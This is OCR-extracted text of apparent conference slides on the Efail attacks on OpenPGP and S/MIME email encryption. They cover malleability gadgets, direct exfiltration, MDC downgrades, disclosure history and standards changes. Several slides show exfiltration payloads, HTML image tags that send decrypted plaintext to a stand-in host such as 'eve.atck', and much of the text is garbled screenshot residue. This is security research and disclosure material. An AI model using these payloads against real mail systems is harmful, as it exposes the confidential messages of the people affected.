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There is no such thing as

III

“My Emai



Assumption:

Attacker has
access to emails!
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OpenPGP (RFC 4880)

* First “encryption for the masses”

* Favored by privacy advocates

* Most widely used email clients require plugin

S/MIME (RFC 5751)
* Favored by corporate organizations
* Native support in most widely used email clients
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Daily users of Enigmail
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PGP and OpSec

m GPG for Journalists - Windows X + — ] X

<) > C © ® @& https://vimeo.com/56: B - ww IN D @ &2 » =

vimeo

- 0| X

I {__| Search results for 'gnupp en de adele' | (] https://s6-eu.ixq...fee19705afc7cbd8d + o= 1=
AllalB | G

Tor Mail :: Re: Fwd: test3 x l __i Tor Mail :: Fwd: test3

A =

8 - adele pgp english robot

* GNU Privacy Assistant - Key Manager = 8 %

it ancni08@tormail.org (M L t
|’E|Ie Edit Keys Windows Server Help % g O Logoul

* 8 & & & | «| O % £ B 0
Edit Delete Sign Import Export = Brief | Detailed | Preferences = Refresh = Files Clipboard Card

~
R Key f\ & GNU Privacy Assistant - Clipboard 'ﬂé l

... Address Book ¢ Settings

Move to... v

File Edit Windows Help

»

Key ID

<3 P 92AB3H : L] D 4* ‘;Q @ £ He W ™ Message
3 P 7A675A Clear Cut Copy Paste | Sign Verify Encrypt Decrypt | Preferences = Keyring Files Card
[ clipboard

Hello anonl08,

Below please find the public key of adele-en@gnupp.de
||| | thefriendly OpenPGP email robot.

Details S'Q"Bj‘ Yours sincerely,
adele-en@gnupp.de

i
|- BEGIN PGP PUBLIC KEY BLOCK-----
User name: Jdi| | Version: GnuPG v1.4.10 (GNU/Linux)
Key ID: 74)

Fingerprint: 883 ' mQGIBDyFIkRBACHVH o4 7r6rux? TwTdjHM72/2VfyCrmcRegQEsbdLfqu3mEmK
Expires at: ofi| | RouuaDQuKNINWK2V2ErOWzFn)qdzpapeuPJiOWpOulEVU3FRPhYlytwddFfwAHv4
Owner Trust: Ul | M)7639tAQPFXBmMZOd1PACE451 + VLAIGILQIFGFpp)S7SZIEQT1/+/nkSwCg8Mge
Key validity: Fi| | XFDxWgC+IH7CSUILeLbJzU0OD/AwpEG732YmcHBImMCN3LpvuOh11fad GmE4Su7nb
Key type: RY| | ZedbuY4NEIV4gYBDvSIuixSyfFQK4HFDXrgCyVETICNOdLIshaFsVDHIci9/Qkpz
Created at: 20| | ywTFi0fsDAAALIQWSFhX+ + obal AqbSiYQXVIFOS58q20/gd8f3INCwo/tBNzHO
Xcm0A/4r6h5qVqcBISOpRwIOS7hnFbOhCDKkdViJ3u974NmvMkVolnealBgtdY
PSCo2ub5p0ULedmkY9r03v0jA+ CHYBRqaZITUkaZSxPlai8 nWFXwwUXyk6IbESI6 -

Selected default = -- — ~’
- — - [ v > 1241AM | |
A . M a4 | R EN L. [mp ® ’)
e = = @ bR PN N ey Jf B 20 s

GPG for Journalists - Windows edition |
Encryption for Journalists | Anonymous

NA4AD v

Some tutorials
recommend using

PGP outside of
email client.

* https://gist.github.com/grugq/
03167bed45e774551155

e https://vimeo.com/56881481

Others recommende
Enigmail in default
settings (i.e. HTML
switched on)

11
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Agenda

/\ Efail CBC/CFB Gadgets

@

Efail Direct Exfiltration

Reply to attacker

PT

12
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O cleca- 2014-08-12
A

Enigmail 1.7 is completely broken for my purposes.
Steps to reproduce the problem:

1) Write an email in TB.

2) Ensure "Force encryption" in Enigmail.

3) Ensure "Force signing" in Enigmail.

4) Recheck encryption and signing settings... OK.
5) Send the email.

6) Look at the received email. OOPS. [N OIS El RN (O] M=l [o(aY s (e k

https://sourceforge.net/p/enigmail/forum/support/thread/3e7268a4/

13
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2017: Outlook includes plaintext in encrypted email.
The Vulnerability

There is a bug in Outlook that causes S/MIME encrypted mails to be
send in encrypted and unencrypted form (within one single mail) to your
mail server (and the recipient’s mail server and client and any
intermediate mail servers). The impact is that a supposedly S/MIME
encrypted mail can be read without the private keys of the recipient. This
results in total loss of security properties provided by S/MIME
encryption.

! i

In the sender’s “Sent Items” folder, there is no indication of the problem
whatsoever. The message is displayed in Outlook as if it was properly
encrypted.

To trigger the vulnerability, no active involvement by an attacker is
required. An attacker might remain completely passive.

https://www.sec-consult.com/en/blog/2017/10/fake-crypto-microsoft-outlook-smime-cleartext-disclosure-cve-2017-11776/

14


https://www.sec-consult.com/en/blog/2017/10/fake-crypto-microsoft-outlook-smime-cleartext-disclosure-cve-2017-11776/

N\, FH MUNST
’§\/ Univer:iltchFApplied Sciences 2018 Enlgmall/PEP WOnlt encrypt

Wahrend der Entstehung eines Artikels fir die e S -
kommendeAusgabe Von C't (22/18) hatdie e . v os hhhhhhhhhhh i v o = cn" T Ban ENcnvPTION
Redaktion bemerkt, dass die Funktion unter . o
Windows derzeit fundamentale Fehler I EEEEEE = - < A A A EEEEE
aufweist. Das groRte Problem ist, dass sie 5 ,
eiimilebppmbrtndidtin ol
beim Verfassen einer Mail suggeriert, die ch e e et akrhand Geheimnss ezbin.
LSRR Sicher & Vertraut |

Verschlisselung sei aktiv, der Versand in
Trigerische Sicherheit: Der

Wahrheit jedoch im Klartext geschieht.

Privatspahrenstatus "Sicher &
Vertraut" bedeutet, dass die Mail

Ob verschlisselt wird, erkennt man an einer verschlisselt verschickt wird. In

. Wahrheit geht sie jedoch im Klartext
Statusmeldung am unteren Rand des Mail- e :
auf die Reise.

Editors. Steht dort "Privatspharenstatus:

Sicher" oder "Sicher & Vertraut", dann sollte eigentlich kein Zweifel daran

bestehen diirfen, dass die derzeit verfasste Mail Ende-zu-Ende-verschliisselt Ir vou nou'T ENGBYPT'
jaii

B Ned -t R WiI(e D as ist derzeit allerdings ein Trugschluss - die Nachricht wird imgflip.com

ungeschutzt verschickt.

https://www.heise.de/security/meldung/c-t-deckt-auf-Enigmail-verschickt-Krypto-Mails-im-Klartext-4180405.html

15
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Agenda

/\ Efail CBC/CFB Gadgets

@

Efail Direct Exfiltration

Reply to attacker

PT

&)
N

A Plaintext bugs
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* Choose message m
* (Generate session key s
* Encrypt message m with session key s
— ¢ =AES;(m)
* Encrypt session key s with public key
pub of recipient
— k = RSA,,5(S)

* Send the encrypted session key and the
encrypted message to the recipient

Hybrid decryption

Content-type: app/encrypted

17
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 (Obtain the encrypted email
* Extract ciphertext k and ciphertext ¢

* Decrypt k with private key sec to
obtain session key s
— S = RSA,.(k)
* Decrypt ciphertext ¢ with session key
s to obtain the cleartext m
— m = AES,(c)

Hybrid decryption

Content-type: app/encrypted

18
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Ciphertext malleability

Dear Alice,

The meeting tomorrow will
be at 9 o'‘clock.
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Co o ¢,
!
A 4 v
decryption decryption
A 4 A 4
Content-type: te xt/html\nDear Bob

Po P

20
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C, ¢, ¢,
!
v A 4
decryption decryption
A 4 A 4
Zontent-type: te xt/html\nDear Bob

POI 'Dl
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Co@ Po Cl CZ

. 2 \
decryption decryption
A 4 \ 4
0000000000000000 xt/html\nDear Bob
P, P,

CBC Gadget

22
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Co @ Po @ PC Cl CZ
)
v v
decryption decryption
\ 4 \ 4
<img src="ev.il/ xt/html\nDear Bob

P P,

C
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I
Co o ¢,
!
A 4 v
decryption decryption
A 4 A 4
Content-type: te Zt/html\nDear Bob

POI P1,
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I
Co Cl CZ
\}
v A 4
decryption decryption
A 4 A 4
A S O e S S S S e S ae Zt/html\nDear Bob

POI P1,
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Dear Alice,

The meeting tomorrow will
be at 9 o'‘clock.
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Message Authentication Codes “valid signature”
* Protection against ciphertext tampering | ® |

Digital Signatures? invalid signature

* Merely used to display status message or icon L(é

* |n many cases, attacker can
— remove signatures “encrypted, not signed”

— sign unknown ciphertext under own identity -
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Email Header
Content-type: application/pkcs7-mime; smime-type=enveloped-data

Email Body o
EnveIOpedDatﬁ N\ AC <baseb4>
RecipientInfos N O

EncryptedCon| ___awo~

AlgorithmIdentifier

Content-type: multipart/signed ... <encrypted>
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Content-type: te |xt/html\nDear Sir |or Madam, the se |ecret meeting wi

""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""" /1 1
— ull*
020w
?22272222272?27?2?27?2?? |<base " 7?7?2722 Oégmeetlﬂqo
o/zgseCf T o

P?2722222227222?? | <1img 920ﬁhe° —+7? |" src="efail.de/

Mmad %20 |
Conte ‘192001%2 = or Madam, the se |ecret meeting wi

02063 +" ’
/ ‘pear®’ >

Modify Duplicate Reorder
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Inbox - mail@efail.de

¥, Get Messages | V7 Write | §8 Chat

2 Address Book Tag

Y Quick Filter Q,

Q Filter these message

Thunderblrd WK

Alice 10:59
#  Alice 10:59
52.3.0 (64-bit) Release notes I - \
T ; tect your privacy Th““derb‘rd
p?mptr:n* in thic macean®

: om
es-1.med'\-‘m°°
ote content from https:// Cdnd:m:gcom

Allow rem te content from hitps: [[me 231 44,ct.sendgr'\d.net

sy remOt content from https:/[u1®

Allow remote

Unread: 2 Total: 2

Tagesplan
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Backchannels in email clients

Windows

Linux

Outlook eM Client

IBM Notes Mulberry W10Mail

KMail Claws
| 40/47 clients have User interaction

macOS

Apple
No user interaction

10S

mr backchannels requiring | o . via bypass

Android

Muser intera CtiOn -Javascript execution

Webmail

GMail
Outlook.com iCloud HushMail

Webapp

32






(%) Posteingang - mail@efail.de E]

[;] Abrufen|v /" Verfassen | v Q Chat ,8 Adressbuch Schlagwérter v [ Y Schnellfilter ’ \

> @ schinzel...(v1554)k & iR S 2 D 1] O\

0 Datr B
11:05

Thunderbird B

613.3.3 (64-Bit) Neue Funktionen und Anderungen

[ ‘Nach Updates suchen

Sie sind derzeit auf dem Update-Kanal release.

Thunderbird wird entwickelt und gestaltet von Mozilla, einer globalen Community, die daran
arbeitet, dass das Internet frei, offentlich und fur jeden zuganglich bleibt.

Wollen Sie uns unterstltzen? Spenden Sie oder machen Sie mit!

Informationen zur Lizenzierung Endanwenderrechte Datenschutzbestimmungen

Mozilla Thunderbird and the Thunderbird logos are trademarks of the Mozilla Foundation.

—

Ungelesen: 2  Gesamt: 2 ['22] Tagesplan A
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. = narrow-pdf-with-link.pdf

Start Werkzeuge narrow-pdf-with-li... X @ Anmelden

B & 8 X Q /1

Sicherheitswarnung
Das Dokument versucht, eine Verbindung zur folgenden Website

aufzubauen:
http://e.cn

Ist e.cn vertrauenswiirdig? Wenn Sie die Website als vertrauenswiirdig
einstufen, wahlen Sie ,Zulassen”. Wenn Sie die Website nicht als

vertrauenswirdig einstufen, wahlen Sie ,Blockieren”. P D F
Q@; Gewadhlte Aktion fiir diese Website fiir alle PDF-Dokumente speichern
Hilfe Blockieren Abbrechen m

~—y

35
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URL ENCODED was

University of Applied Sciences OUt .
look: Non-HTML CBC Gadgets?

127.0.0.1 - -
[24/Dec/2018:11:27:07 +0100
_Start-

] "GET /%0
AWHATEV
GAURL%@AENCODEDFAEE%Q&EINARY%QANILLMAAD’

12?.0.0.1 - - [
ﬁ GET /favicon

PDF
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127.0.0.1 -
1 "GET /SOME. [24/Dec/2018:11 cee
*11:31: ih
ST JSONECSTURE_HERE 123/ HT%}?SJ@}‘S@ Start e
: 4

Q~ Im

127.0.0.1 ra Sl Bl e @
0.1 - - % yout > X
] "GET SO [24/DeC/2018: 11: : \ﬂ Y. —_— at Freigeb A
217 / ME_STUFF—HERE123 :31:55 +0100 | einfigen e = A B -
/ HTTP/]_ 1" . Schri
127.0.0.1 - . 40 < riftart ~ Absatz  Formatvorl
] llrt-,—_..,w.‘mﬂ,ﬁ ,,Mlufld-lnot—, A~ P— . I — B i t?ge,n~ - _ ,u,,\

21\\ JpYY3rav gy Yu YA v VY A3 WY vB
127 30003F50 e0 F9 01 5 C1 3E 00 00
1 "¢ J0003F60 p1 00 60 06 00 BF p1 00
217 39003F70 00 80 C3 o 00 00 Q0 84

7 yeearse 00 & oo BF 03 00 00 22
jeoe3Fse 90 38 o0 2F 00 2F 00 65
jeoo3FAe 80 53 50 4F 00 4D 00 45

j00e3rB0 90 2° o0 46 00 SF 00 48
 jege3rco 0037 o0 33 00 00 00 49
oeearpe 00 31 00 0 00 23 00 22

82 ©

" yo003FE@  ©© oo 00 BF ©3 99

1"1,' J0003FFO p0 01 60 00 00 00 00
‘a“ 100046000 an OF 60 pa FO 47 a0 08

Seite 1 von MiCI'OSOf‘I:® WOI’d far Mac

Version 16.16.5 (181209)
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127.0.0.1 - - [24/Dec/2018:11:38:11 +0100| == .- P - = - 2R X ;- 2 9- »
1 "OPTIONS /SOME_STUFF_HERE123 HTTP/1.1" ST T T o
200 - - T E(EETEE T L FE
127.0.0.1 - - [24/Dec/2018:11:38:11 +0100 _ 1 2 3 4 5 =
1 "HEAD /SOME_STUFF_HERE123 HTTP/1.1" 404 e
127.0.0.1 - - [24/Dec/2018:11:38:11 +0100 =
] "GET /SOME_STUFF_HERE123 HTTP/1.1" 404 [i— ! A
216 http://e.cn/SOME_STUFF_HERE123
] T
ib ffi
-8B LibreOffice
L]
O About LibreOffice

Version: 5.4.1.2
Build ID: ea7cb86e6eeb2bf3a5af73a8f7777ac570321527
CPU threads: 4; OS: Mac OS X 10.14.2; Ul render: default; |
Locale: de-DE (de DE.UTF-8); Calc: group

See Loqg: ea7cb86e6eeb2bf3abaf73a8f7777ac570321527
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Challenge:

1. Write a non-HTML demo that
exfiltrates OpenPGP or S/MIME

email plaintext blocks via
attachments (PDF, Word, XML, ...).

2. First successful submission gets a
crate of Club Mate and Efail swag!

39
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Efail-related changes to S/MIME

Efail CBC Gadget attack:

TLype OI attackK can pe preventea Py tne use OI an AKAU alLgorlitnm witn
a more robust integrity check on the decryption process. It 1is
therefore recommended that mail systems migrate to using AES-GCM as
quickly as possible and that the decrypted content not be acted on

Efail direct exfiltration attack:

document (per [ﬁFClBGG]). Clients SHOULD treat each of the different
pieces of the multipart/mixed construct as being of different

origins. Clients MUST treat each encrypted or signed piece of a MIME

https://tools.ietf.org/html/draft-ietf-lamps-rfc5751-bis-12#page-45 40
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Differences S/MIME - OpenPGP

* OpenPGP uses a variation of CFB-Mode
* Plaintext compression is enabled by default

* OpenPGP defines Modification Detection Code
“MDC“ (SHA1(m))

MDC
SEIP | m shal (m)




N
S

FH MUNSTER
University of Applied Sciences

OpenPGP RFC on invalid MDCs

return the data to the attacker. [AaballeRfelEiRechdilols s VISR RS g=rie <y
Ve ERREIgER s el SEle i g ia A elgelenisl, not merely a data problem.

I AR [l -t he implementation MAY allow the user access to the
erroneous data, but MUST warn the usSerfEERY N Jot-Ihia 1o -TdiighaY
problems should that data be returned to the sender.

43
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# new PGP keys with/without MDCs per year

B New w/out MDC  ® New with MDC

450.000
400.000
350.000
300.000
250.000
200.000
150.000
100.000
50.000
0

L66] I

6661 I

100 N

€00 mmom

SO0C mmmam

AV OTAN B

600 Immmm

IT0C

cI0¢ Immmmm—

STOC -

LT0C
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Thanks to Marcus Brinkmann @neopg
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# cumulative valid PGP keys not supporting MDCs per year

2.000.000
1.800.000

1.600.000
1.400.000
1.200.000
1.000.000
800.000
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400.000
200.000
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€00
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110
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ST0
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1. MDC stripped:
SEIP | m

2. MDC incorrect:
SEIP

shal (

X

3. SEIP->SE downgrade

S'T.)é m

oo oo oven®
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Client Plugin (up to MDC Stripped | MDC Incorrect SEIP -> SE
version)

outlook 2007 | GPGAWIN3.0.0 [N
Outlook 2010 GPG4WIN
Outlook 2013 GPG4WIN
Outlook 2016 GPG4WIN
Thunderbird Enigmail 1.9.9
Apple Mail (OSX) | GPGTools 2018.01
Vulnerable

Vulnerable
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Efail-related changes to OpenPGP

5.8. {5.7} Symmetrically Encrypted Data Packet (Tag 9)

The Symmetrically Encrypted Data packet contalins data encrypted with
a symmetric-key algorithm. When 1t has been decrypted, 1t contains
other packets (usually a literal data packet or compressed data
packet, but 1n theory other Symmetrically Encrypted Data packets or
sequences of packets that form whole OpenPGP messages) .

INRNCEN o Tl CIHR S INo oINS An implementation MUST not create this

packet. An 1mplementation MAY process such a packet but it MUST
return a clear diagnostic that a non-integrity protected packet has
been processed. The implementation SHOULD also return an error 1n
this case and stop processing.

https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-05#section-5.8
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Efail-related changes to OpenPGP

In either case, the i1mplementation MAY allow the user access to
the erroneous data, but MUST warn the user as to potential
securlty problems should that data be returned to the sender.

In either case, the implementation SHOULD NOT allow the user
access to the erroneous data, and MUST warn the user as to
potential security problems should that data be returned to the
sender.

https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-05#page-104
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Efail-related changes to OpenPGP

Checking MDC only possible after full decryption
— GnuPG streams plaintext to app during decryption

— Only when finished, GnuPG prints flag whether or not decryption
was successful.

OpenPGP draft already supported chunking of plaintext

— Pro: Authenticate chunks before giving it to app!

— Con: Recommended chunk size is 128MByte (OpenPGP
implementations may not want to cache 128 MByte and thus use
streaming again)

https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-05#page-63
https://mailarchive.ietf.org/arch/msg/openpgp/KXM9ngbhkn3ELTznP6YBQhEipCO



https://tools.ietf.org/html/draft-ietf-openpgp-rfc4880bis-05#page-63
https://mailarchive.ietf.org/arch/msg/openpgp/KXM9nqbhkn3ELTznP6YBQhEipC0

N 4 Efail-related changes to GnuPG

e MDC errors now result in hard failures
(not merely warnings).

* GnuPG now always uses MDC independently if key
denotes MDC support or not.

* But:
— Sets default chunks sizes from 1GByte to 128 MByte.
— Still streams unauthenticated plaintext.

@@ -3884,15 +3891,15 @@ main (int argc, char **argv)
/* Check chunk size. Please fix also the man page if you chnage
* the default. The limits are given by the specs. */
if (!opt.chunk size)
- opt.chunk size 30; /* Default to 1 GiB chunks. */
+ opt.chunk size 27; /* Default to the suggested max of 128 MiB. */
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Alice’s mail program
encrypts the email

Encryption

hQIMA1n/OnhVYSIBARAAiIsX1QsH
ZOblL2LopVexVVZluvk3wieArHUq...

Efail Direct Exfiltration

Alice writes a Mail to Bob

From: Alice
To: Bob

Dear Bob,
the meeting tomorrow will be
at 9 o'‘clock.

54



S

FH MUNSTER

\/ University of Applied Sciences

Eve captures the encrypted
mail between Alice and
Bob

Original E-Mail

From: Alice
To: Bob

hQIMA1n/OnhVYSIBARAAiIsX1QsH
ZObL2LopVexVVZluvk3wieArHUqg..

Efail Direct Exfiltration

Eve’s attack E-Mail

From: Eve
To: Bob

Content-Type: text/html
<img src="http://eve.atck/

Content-Type: text/html
">
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Bob’s mail program puts

the clear text back into the

body

Eve’s attack E-Mail

From: Eve
To: Bob

Decryption

Content-Type: text/html
<img src="http://eve.atck/

Dear Bob,
the meeting tomorrow will be
at 9 o'‘clock.

hQIMA1n/OnhVYSIBARAAiIsX1QsH
ZOblL2LopVexVVZluvk3wieArHUq...

Content-Type: text/html
">

Efail Direct Exfiltration
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Bob’s mail program loads Eve’s attack E-Mail
an image from the

attackers url with the ﬁom EZ;

plaintext

Content-Type: text/html

Eve GET /Dear%20Bob%2C%0D%0Athe
$20meetings20tomorrows20will
$20be%20at%209%200%E2%80%98¢C
lock.

Fh e @ W VWY, 27

Content-Type: text/html
">
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MacOS (35c3-direct-exfil-many) [Running]

~/Desktop/efail-mails |:| File Edit View Mailbox Message Format Window Help o = Tue02:49 Q =

nbox (0 messages)

TS ol Ao 0 EEE

Mailboxes Inbax ~» Sent

— To: Bob~
Mailboxes 5“"_
¥ £ Inbox Ce:
£ bob@efail.... Subject: Password to secret document =

£ alice@efail...

> E Drafts o

From: Alice - alice@efail.de

» <7 Sent Dear Bob,

» 7 Junk The password to the secret document is: MrprEt]WPD:Ny
[ 'ﬁ Trash Please treat this strictly confidential!

Smart Mailboxes E’ﬁg;

Downloading Messages

B ) PGS Ll el B G S (2] Left 38




efail-mails

v  Drafts v

View Mailbox Message Format Window Help Lo A Tue02:59 Q@ =
Inbox (1 message)
= i | e e = M. Q

py Date v

-

21.12.18
. Inbox -...@efail.de

ail Attachment,

Alice B3 Inbox...cb@efail.de 21. December 2018 at 00:16 -

Password to secret document "
To:
Security: Q Encrypted, # Signed (alice@efail.de)

i e

iob

C

Dear Bob,
The password to the secret document is: MnGrEQWPO Ny
Please treat this strictly confidentiall

Best,
Alice

BOSS Ll DS® Left s




From: Eve
To: Bob

Content-Type: text/html
<img src="http://eve.atck/

hQIMA1n/OnhVYSIBARAAiIiIsX1QsHZObL2L
opVexVVZluvk3wieArHUqg...

Content-Type: text/html
"> <img src="http://eve.atck/

hQIMA1n/OnhVYSIBARAAiIsX1QsHZObL2L
opVexVVZluvk3wieArHUqg...

Content-Type: text/html
"> <img src="http://eve.atck/

| |hQIMA1n/OnhVYSIBARAAI IsX1QsHZObL2L | |

Exfiltrating many emails

e Common email clients allow
hundreds of MIME parts.

* Actual limits depend on
implementation and
performance of target system
(timeouts).
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Every 2,0s:... mac: Thu Dec 20 23:17:48 2018
101 Jusr/local/var/log/httpd/access_log -
BLoz0oapn"

macOsS o Sere




Sebastian Schinzel @seecurity - 14. Mal v
2z \We'll publish critical vulnerabilities in PGP/GPG and S/MIME email encryption
on 2018-05-15 07:00 UTC. They might reveal the plaintext of encrypted emails,
including encrypted emails sent in the past. 1/4

O Tweet (ibersetzen

) o8 11 2,4Tsd. ) 1,9Tsd. M

Sebastian Schinzel @seecurity - 14. Mai v
% There are currently no reliable fixes for the vulnerability. If you use PGP/GPG or
S/MIME for very sensitive communication, you should disable it in your email
client for now. Also read 's blog post on this issue:

2/4

O Tweet ibersetzen




@mikko @mikko - May 14 v
This vulnerabmty might be used to decrypt the contents of encrypted emails
o o L used PGP since 1993, this sounds baaad.

GNU Privacy Guard @ o
@gnupg
. O 100 &
Because there much fuss about efail | posted
a quick Sumrn::\r\: Ninta that tha (GniiID(G taam kd @ / ~
; ° o N
was not cont » Sebastian Schinzel g
the info from ' @seecurity
developers.
Replying to
osoam-1amay208 - \N@ did ¢ @ GNU Privacy Guard @ y
@gnupg

Re: ***|

Advisor

o meea Regarding Ehtmlfail, | found another
"Rt discussion from November and prepared a

Re: ***|

— timeline:

11:15 AM - 14 May 2018



EFAIL: Full Plaintext Recovery in PGP via
Chosen-Ciphertext Attack

Damian Poddebniak®, Christian Dresen', Jens Miiller?, Fabian Ising!, Sebastian
Schinzel!, Simon Friedberger!, Tobias Kappert!, Juraj Somorovsky?, and Jorg

Schwenk?

'Miinster University of Applied Sciences
Ruhr University Bochum

November 23, 2017

1 Embargo

This advisory describes critical attacks against PGP encryption in the context of emails. One
attack is built around vulnerabilities in the PGP specification and we expect all email clients
supporting PGP to be vulnerable. We want to coordinate disclosure of the vulnerability with
all developers and companies of affected clients.

We are still actively analyzing PGP, and so far, we have a proof of concept exploit for a
full plaintext recovery attack with some assumptions for the attacker, that we want to disclose
to vendors. The flaw requires fundamental and backward-incompatible changes in the PGP
specification (see Section |6).

We ask you kindly to keep this advisory and the information therein confidential until we
find a nearby date for coordinated public disclosure!
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An independent
summary of the
disclosure
timeline,
compiled from
public
information.

I A unified Timeline X

C ® @ flaked.sockpuppet.or

THOMAS H. PTACEK

16 MAY 2018

A unified timeline of Efail PGP disclosure
events

This is an attempt to combine public sources regarding when various PGP vendors were
notified about Efail.

Sources:

O Efail: the Munster/Ruhr research team’s public Efail.de site.
O #721: Enigmail bug #721
o Koch: Werner Koch’s 5/14/2018 GnuPG mailing list post

O Hansen: Robert J. Hansen’s Twitter feed.

http://flaked.sockpuppet.org/2018/05/16/a-unified-timeline.html
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» hanno

@hanno

so... about efail. the latest Enig
version contains a few Mitigat
don't work. | found a trivial by
to be clear: efalil is still exploite
latest Enigmail+Thunderbird al
settings.

5:36 PM - 17 May 2018

151 Retweets 196 Likes

"RFYT T

QO 8 11 151 ) 196 M

Tweet your reply

., hanno @hanno - May 17

| just reported this to the enigmail developer. But | believe it
this in enigmail alone, requires changes in thunderbird.

QO 3 Tl 7 C) 24 i

Statement from PGP develor X +

e @

— There's No Protecting Apple M: X

G ® ©) https://theintercept.com B iIN @O »

L —

Similarly, the creator of PGP, Phil Zimmermann, co-signed a blog post

Thursday stating that EFAIL was “easy to mitigate” by disabling the
loading of remote content in GPGTools.

But even if you follow this advice and disable remote content, Apple
Mail and GPGTools are still vulnerable to EFAIL. I developed a proof-of-
concept exploit that works against Apple Mail and GPGTools even
when remote-content loading is disabled (German security researcher
Hanno Bock also deserves much of the credit for this exploit — more
on that below). I have reported the vulnerability to the GPGTools de-
velopers, and they are actively working on an update that they plan
on releasing soon.

Here 1s a short video that demonstrates how dangerous this exploit
could be:
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EFail: Encrypted Email

C  ® & ht
WS

LILY HAY NEWMAN SECURIT

ENCRYPTED F
MAJOR, DIVIS

An attack called eFail overcq

encrypted email standards H

GETTY IMAGES

A S/MIME art

C @

Log in Sign uj

Security

SIMIME ¢
flaws me
chats

If a hacker
ciphered mi
read the co

By Shaun Nichols

@ efail - Google Search X

C @ ® O
naked security
FREE TRIALS » F

The

EFAIL v
OK to ke

é

Wm EFAIL und E-

IE] ‘Efail’ exploit exposes po X [iam — ] X

C® | G ®a ht 8| © » =

EFAIL u
Verschlu
einfach
abschalte

am 14.05.2018 ut

g

"

HTML-Anzeige

unnotig und eir

A

= pngadgel

[

‘Efail’ exploit exposes
popular email encryption
schemes

Security researchers identify critical
issues with PGP and S/Mime protocols.

ﬁ Personal Computing
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1. Stick to a 90 day disclosure deadline.

2. Be careful with disclosure pre-announcements, because:

— People will speculate about the details and
a) underrate the risk, or
b) overrate the risk, and
c) spread false information.

— you won‘t be in control of communicating the details.

3. Controling information flow right after disclosure is
essential.
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] Mailboxes B0 64

Sent v Drafts v

Mailboxes

v &4 Inbox
&4 bob®@efail....
& eve@efail.de
> [5 Drafts
v 4 Sent
# bob@efail....
| eve@efail.de
» T Junk
> @ Trash

b Smart Mailboxes

On My Mac
Recovered M...

Sort by Date v

& Eve

Your Request

28.12.18
Inbox -...@efail.de

Eve 9 Inbox...ob@efail.de  28. December 2018 at 12:08 e

Your Request
To: Bob

Security: Q Encrypted, Q Signed (schinzel@fh-muenster.de)

Dear Sebastian,

| will attend your 35¢3 talk on the Efail vulnerabilities in OpenPGP and
S/MIME. While reading the paper, some questions arose that | couldn
find an answer to. Do you have some time to meet on 35¢3 to discuss

this. If you agree, | presume that you might want to meet the day after

the talk.

I'd be delighted if you get back to me.

Pepe Markenkoetter

Mustermannstr. 31337
Postfach 1337

31337 Muenster
Germany

Tel.: +49 251 1234567890
Mobile: +49 170 1234567890
Fax: +49 251 987654321

Email: pepe @consulting-muenster.de
Web: htips://consulting-muenster.de/pepe

4 P> 001,79 BB <)



https://cure53.de/pentest-report_thunderbird-enigmail.pdf

Inbox (1) +

Mailboxes Sort by Date v @

~ Your Request Inbox -...@efail.de
BA bob@... 0 Dear Sebastian, | will attend your
Fim eve@efail.de 35c3 talk on the Efail vulnerabilitie...

» [N Drafts
v 4 Sent

< bob@efail....
| eve@efail.de
» ™ Junk
> ' Trash

Smart Mailboxes

On My Mac
Recovered M...

Version 11.3 (3445.6.18)
@ 1985-2018 Apple Inc. All rights reserved.

essage Selected



® 00 Source of Your Request

Is it necessary to print this email? If you care about the enviror

like we do, please refrain from printing emails. It helps to keep Reply to attaCker ema”

environment forested and litter-free.

The views and opinions included in this email belong to their aut!
do not necessarily mirror the

Eggstr{?ﬂ:sge multipart/encrypted; protocol="application/pgp-encnr o Atta C ke r S e n d S b e n Ig n

——BOUNDARY

Content-Type: application/pgp-encrypted e m a i I t h at te m pts Vi Cti m

Content-Description: PGP/MIME version identification

Version: 1 to respond
-—BOUNDARY

* Email tains OpenPGP
————— BEGIN PGP MESSAGE-——— mal Con alns en
hQIMA1g2zTznoMIVQAQ/ /QBEWUYepCaEE] j+2buE tB8xsAUFLOhw] ShegILTyONAX

Content-Type: application/octet-stream; name="enc.asc"

RjeohLQrUsFINeSp7Di1Cv1+6R2BIWGAGY7mCsYPiB8a9ReVRaalUVZ0zcWa rwaCaR or S / M I M E Cl h e rtext
BGmS1Z0ZLnofBR13F IWpBZXT4AN20VIOmjhprV5e7/H+qo5uH2G73)Zf1m7mFCobe

tpEPQiSz/Xp47 InTBACz+V/ZBcqikvDpYEIckS7TNXR2wSz0/7BqFX] LEWAgEoXDR

Q+0IJ)7M6Qzv+psY 16bxICeZn3IbOVEVWHYVvZHeZHMLUD3Eyall1TY1xiEDfef )

] ] I [ ]
YkboJlgchjmBtYKHiG2GNhaRsh8RcxXE+ummiawS fMrO03HvKIvXdCypJdPUZpNjV ® V t rT‘ rT‘ I I t
YLSNkZdjt50q05n+0rM9C2bsumPP7q2]khVINNTQkPIj53b1j kdn+QVD+HATGQTQ I C I S a I C I e n
YC23B2b+mMHQFhTRONCVcBsKLCSUONSEmus62wWwWFdVIPN7dQKzWc2 ) pD7 rZHSU+b .
gyt 1uDbEHZbAWLKIX9S6FANPhDdwV1qBDKE2LSGb/nIng5pAGKGY /w+MUrshcCdi d t h t t d
xbzixBZn/bEzYeYm@ywSBors/luyGq3PXQI7FhLza8BMNbemucI2sTwx4oLMpHaU e C ry p S C I p e r eX a n
18156bgKvoSydMgU92ghfLZ1U/ 1SuxBoOGLCESXm1iB4M) Px1KWKkUF2fwnroyiZjS
6gFy/3F1EBuRT1RqReubsi9allyS5/GTfWkdTF4TfQVS1dBG LXRtEeAXTuCjMmLSTF5 : : : :
K91gi5)cmKpxMKYKsB60tM1gpZAxVBUpAW76zQgqmYvy4FUPXxPzyt2sn21QP1SsS I n C u es It I n re p y e I I la I
/IW]aK9Z001fLtu) jVuNocct7sr+BMptTZZWv/vCwk6sQ4ai7Jth5imI9UDVTQp

AFT30EC6BefqCI3Kz/ANOFcviFQp3ZxLyOPD1tuQw/ rrPJBkmay/teQ4chvw3QKL
cZ6p87VQtsFCyrUYYsvbdgqyFll1zWMSnsPdM+r5eNy0jKFdfpfM1SHIR6QRquQrs

S5pppTZKHGTVVKFWLWO168r3HPEQDBH/DTMCcOgInSPkan0GFSOUSBSTYA5CLTHR  See also: https://cure53.de/pentest-report thunderbird-enigmail.pdf 74
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https://cure53.de/pentest-report_thunderbird-enigmail.pdf

Are you targeted by motivated attackers?

Probably yes:

